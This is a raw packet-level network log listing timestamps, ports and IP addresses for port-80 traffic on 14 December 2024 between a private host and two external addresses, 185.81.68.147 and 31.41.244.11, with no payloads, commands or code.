Dec 14, 2024 14:56:33.496752024 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.496803045 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.497816086 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.498018980 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.498153925 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.499087095 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.499098063 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.499151945 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.500175953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.500358105 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.500528097 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.501276970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.501450062 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.501693964 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.502382040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.502554893 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.502624035 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.503673077 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.503855944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.503914118 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.504957914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.504966974 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.505024910 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.506055117 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.506241083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.506302118 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.507165909 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.507175922 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.507237911 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.508517027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.508527040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.508626938 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.509613037 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.509788990 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.509845972 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.510909081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.510917902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.510996103 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.512046099 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.512053967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.512120008 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.513185978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.513377905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.513732910 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.514475107 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.514483929 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.514543056 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.515579939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.515589952 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.515659094 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.516710043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.516906023 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.516971111 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.518013000 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.518023014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.518193960 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.519121885 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.519304037 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.519356012 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.520225048 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.520412922 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.521322966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.521378040 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.521497965 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.521661997 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.522589922 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.522599936 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.522677898 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.523818970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.523978949 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.524154902 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.524991035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.525157928 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.526299953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.526310921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.526370049 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.527371883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.527443886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.527503967 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.528608084 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.528785944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.528903961 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.529819012 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.530011892 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.530069113 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.530306101 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.530317068 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.530374050 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.530775070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.530874014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.530930996 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.531966925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.532073975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.532135010 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.533142090 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.533257008 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.533391953 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.537710905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.537722111 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.537731886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.537743092 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.537883997 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.537934065 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.537934065 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.538184881 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.538347960 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.539140940 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.539458036 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.539547920 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.540537119 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.540549040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.540621042 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.541671038 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.541682005 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.541738987 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.542911053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.543066978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.543215990 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.543874025 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.544034004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.544084072 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.545167923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.545178890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.545248032 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.546338081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.556837082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.556890011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.556993008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.557143927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.557665110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.557676077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.557718039 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.558629990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.558672905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.558794975 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.558860064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.558883905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.558895111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.558936119 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.558945894 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.559521914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.559942961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.560072899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.560108900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.561100960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.561147928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.561256886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.561295033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.562190056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.562233925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.562297106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.562716007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.563308001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.563399076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.563437939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.564414978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.564558029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.564591885 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.565551043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.565582037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.565622091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.565660000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.566637993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.566679001 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.566694021 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.566730976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.567739964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.567778111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.567857027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.568058968 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.568842888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.568888903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.568888903 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.568984985 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.570013046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.570055962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.570079088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.570111990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.571075916 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.571130037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.571163893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.571305990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.572191000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.572254896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.572283983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.572325945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.573307991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.573371887 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.573448896 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.574279070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.574403048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.574512005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.574558973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.575547934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.575593948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.575671911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.575721979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.576741934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.576786041 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.576792002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.576857090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.577785015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.577826023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.577896118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.577930927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.579181910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.579231977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.675298929 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.675400019 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.675415993 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.675782919 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.675890923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.676327944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.676429033 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.676553011 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.677500010 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.677565098 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.677690983 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.678678036 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.678752899 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.678761959 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.680183887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.680248976 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.680305004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.681040049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.681114912 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.681149006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.682326078 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.682383060 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.682414055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.683437109 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.683515072 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.683583975 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.684606075 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.684669018 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.684719086 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.685817957 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.685879946 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.685925961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.686985016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.687103987 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.687103987 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.688154936 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.688539028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.688565016 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.689317942 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.689428091 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.689517975 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.690509081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.690593004 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.690610886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.691694975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.691800117 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.691870928 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.692867994 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.692924023 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.692971945 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.694056988 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.694159985 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.694212914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.695276022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.695332050 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.695358038 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.696441889 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.696522951 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.696577072 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.697618961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.697690010 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.697732925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.698817015 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.698883057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.698957920 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.700007915 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.700068951 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.700112104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.701193094 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.701272011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.701359987 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.702332020 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.702410936 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.702449083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.703516006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.703656912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.703725100 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.704716921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.704832077 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.704896927 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.705908060 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.705962896 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.706005096 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.707082987 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.707186937 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.707252979 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.708251953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.708360910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.708425045 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.709431887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.709501982 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.709552050 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.710623026 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.710649967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.710691929 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.711823940 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.711888075 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.711925030 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.713013887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.713107109 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.713182926 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.714178085 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.714231968 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.714322090 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.715359926 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.715466976 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.715482950 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.716583014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.716644049 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.716654062 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.717727900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.717803001 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.717834949 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.718894005 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.718951941 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.718997955 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.720094919 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.720201969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.720263958 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.721266985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.721322060 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.721373081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.722460985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.722512007 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.722556114 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.723637104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.723704100 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.723736048 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.724842072 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.724900961 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.724941969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.726044893 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.726103067 CET	49888	80	192.168.2.5	185.81.68.147
